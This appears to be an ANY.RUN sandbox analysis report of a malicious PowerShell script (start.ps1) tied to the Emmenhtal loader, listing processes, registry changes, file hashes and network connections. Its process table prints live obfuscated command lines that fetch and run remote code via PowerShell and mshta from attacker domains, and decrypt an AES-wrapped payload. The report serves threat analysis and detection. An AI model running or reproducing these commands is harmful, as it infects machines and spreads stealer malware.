| File name: | start.ps1 |
| Full analysis: | https://app.any.run/tasks/560c4665-6289-4b1a-b65f-c8fc98297c71 |
| Verdict: | Malicious activity |
| Threats: | First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments. |
| Analysis date: | February 08, 2025, 16:52:37 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text |
| MD5: | 5FC933DA0991BBC1FF9ED94831D25759 |
| SHA1: | 19628CA8C071DCBB998926CC3E41933CBD655A8B |
| SHA256: | C03114B8436263E0FE11B9D102BC72E3A548C68A55F06F42029BE6A7B9BA7951 |
| SSDEEP: | 3:VSJJFISFuqpIKwRROLWPXC59dIBM/Mvn:s8SFfpIKwR0L9OM/Mvn |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 3536 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\AppData\Local\Temp\start.ps1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4996 | "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:\TNX (((([Net.WebClient]::New()|Get-Member)|?{(Get-Variable _).Value.Name-clike '*nl*g'}).Name));Set-Variable R 'https://rbk.scalingposturestrife.shop/b313d4a4588bd2e7bc9ece877caba58a.png';Set-Variable 4 ([Net.WebClient]::New());&$ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).GetCommand($ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).PsObject.Methods|?{(Get-Variable _).Value.Name-clike '*nd*e'}).Name)( 'In*-Ex*ion', $TRUE, $TRUE),[System.Management.Automation.CommandTypes]::Cmdlet)(Get-Variable 4 -ValueOn).((Variable TNX).Value)((Variable R -ValueO)) | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 5096 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 5320 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6264 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 . \*i*\*2\msh*e https://dns-verify-me.pro/xfiles/train.mp4 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6480 | "C:\Windows\System32\mshta.exe" https://dns-verify-me.pro/xfiles/train.mp4 | C:\Windows\System32\mshta.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
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| 6896 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function asfFKOT($bdnfJHpy){-split($bdnfJHpy -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$DIBk=asfFKOT('2D3D681F4FC1E35203BA06186CFBEC425A507CECE7C0FC2A2B8C7D9956C98A74BA6229DBBC472CD7430C17CCAC6D7D60CA565558588BDDDA070ED649908C3DBFDA602DE56C2067F4DB5CBABA003D7B31755870FD3AA30E0D6CB97EEC2456628EF07DC64ED6A500A2C21FD9895028AE08F2C05071C318AF6CEC9B3FAFB5C299BF10BA920C0C59118CB149888313B396C137C1759EE7AE4DF4089D9B037320332C2B0A533E86A853843DD9772A8D0950ED8FED5319A1CEC6286EF1392F1C333AC783C5427EB41673150FD0E3B9FBDEB9E95C323B88AC9A01EB2A8E01CA3B108BD31CAC4460B367555F78B36D255C44F0DFFB98C2CF34DCA02EB49657E9DA575CA2205DDF657D5F366EA8F37DD9DDE5898AF513FBD983510A86995EF68A19F17AD711CB12295A967D31400C1FDF276BE4A41E9E52FBA7E4BB10D464EE902DF3D67F111DA995232108E3F0822A46F04739F5B9A07A9C08A3EA82CAA7FED5E70F825E2AE1EA533FD2503833728125AA7528A912936445BA356D8903BAC81FD09C0662C283BF002C798C43A187C2B94C50D0A285D6E2351344351FB8FD6195EDA77253411DB94B020B2751D909461BBD30ACEC48A807003B4039DDAF4014BE2B5F10B49A6A3D7546D7591B3455F37F550B231B86429E80109006D1DB217AC173DB11C49388874F0B42CE7E5D9512514F567E42E81F1F3FFF98E645D19F31ED4D8C1FFA9B29DB5E397DB1E104BFFF17C0E05DAE752BB36FDDA7BEF11BEBE3348C02991E4F9AC4CB3153B4D00BDF4AFB7045A6BCD498E85F7DB97CF7DB7278D8B832259FF10E779F73E607908BC53B579D2A8E529152CE739056D66AA4A6204FF88CD2DB33B208DE40D7410DE44B06EAC7E4CB9D8B8BFD106781DF924D108C8E9E7D7622A49F9F70797648D3783502C27BE36C5243D157F635DBCA76751934FFE69EC323C7D06C0C007EBB2EC3527E05E7491FC78344B37E207921453248DABD32FABE0CC40CA4651D50BF0D51B0C8BEEAE64EB819EB8EBE0BE9A630CCD2BDE0531EA9E7969A15CFE8C4F0F7E049FF2E81DB37FB8E17607602BF70276FA57A0CB1AF30AC2B55E09A32351B3314D824BD6960ECF2A5370B80C3E54EF71D6200335B87A4B595ED7FAD85C54DE0439D5C8BD38BC9A2D3F677D5C2B67F5FED6DE57B09F8399FFBAA0CE663032132928EC23D325F74EF462BD567D03AB0CCBB50EAB0FA1E5B774FCA674860AD512BA70B217DAEF41B589925BE9C1EC75F1579F3347E21A9FC18ECA11707B3C17C0588337B17631ABDFBBA59CDCD031E292176CF4012380459EC9C8ACD093A5BC3F99B7A6E8D71BBAF3F748046051B9F1C5AAD9968C61AFB59B597FBE9A1F3AE7086A790F697C43EA07D160CD71389EA248C95A00DA91192A3FE3782E71FE770250067230F2A8C1396E74A7705B80E7B1224005D57AC36C6282CB03C3B095F04B65050DD2DE7E30DB8C22F666FA993E9D2AF10A8CA8EA45BF865');$RiBDc=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((asfFKOT('674445447A715953714E6E7877494170')),[byte[]]::new(16)).TransformFinalBlock($DIBk,0,$DIBk.Length)); & $RiBDc.Substring(0,3) $RiBDc.Substring(3) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | mshta.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 6904 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| (PID) Process: | (6480) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (6480) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (6480) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (4996) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (4996) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (4996) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (4996) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (4996) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (4996) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (4996) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3536 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kppapp4d.wok.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3536 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF136034.TMP | binary | |
MD5:D040F64E9E7A2BB91ABCA5613424598E | SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670 | |||
| 6264 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:5F303CB2454212C773212A34FEA8CBC9 | SHA256:E739B96FC39686690703440DF6E1B97C16466C4CEB865B0E62C5CB84CD4008D0 | |||
| 6896 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_053wbhs4.w1t.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6480 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12 | binary | |
MD5:C9BE626E9715952E9B70F92F912B9787 | SHA256:C13E8D22800C200915F87F71C31185053E4E60CA25DE2E41E160E09CD2D815D4 | |||
| 6480 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12 | binary | |
MD5:41860C041B6764103EC5E5178CC56454 | SHA256:36BD31D641F0CA683D9E8CD2569653AAD80756AF6FB03B66B9DC18137A20734F | |||
| 6480 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8 | binary | |
MD5:572F72DFE7C8BF9CD5ABE2D8AF160DE4 | SHA256:1DC7C18A76F63A09C4216325E25C19E937DEE0CD89626657F49550790D36C896 | |||
| 6480 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\train[1].mp4 | binary | |
MD5:E080BFEC705B9BD0FD93791D92B2FD49 | SHA256:30517FA2FB275E4E2EED484ED7C0A262AD2F20D75D5354541DEEB5B43802B5DF | |||
| 4996 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ukfr2kzg.55a.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6896 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fg1bfkic.ife.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4712 | MoUsoCoreWorker.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 184.24.77.38:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
6480 | mshta.exe | GET | 200 | 142.250.186.35:80 | http://c.pki.goog/r/gsr1.crl | unknown | — | — | whitelisted |
6480 | mshta.exe | GET | 200 | 142.250.186.35:80 | http://c.pki.goog/r/r4.crl | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6376 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
6376 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
7096 | backgroundTaskHost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4712 | MoUsoCoreWorker.exe | 184.24.77.38:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1356 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5064 | SearchApp.exe | 104.126.37.171:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
— | — | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
2212 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3976 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6480 | mshta.exe | 188.114.97.9:443 | dns-verify-me.pro | CLOUDFLARENET | NL | unknown |
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
dns-verify-me.pro |
| unknown |
c.pki.goog |
| whitelisted |
login.live.com |
| whitelisted |
go.microsoft.com |
| whitelisted |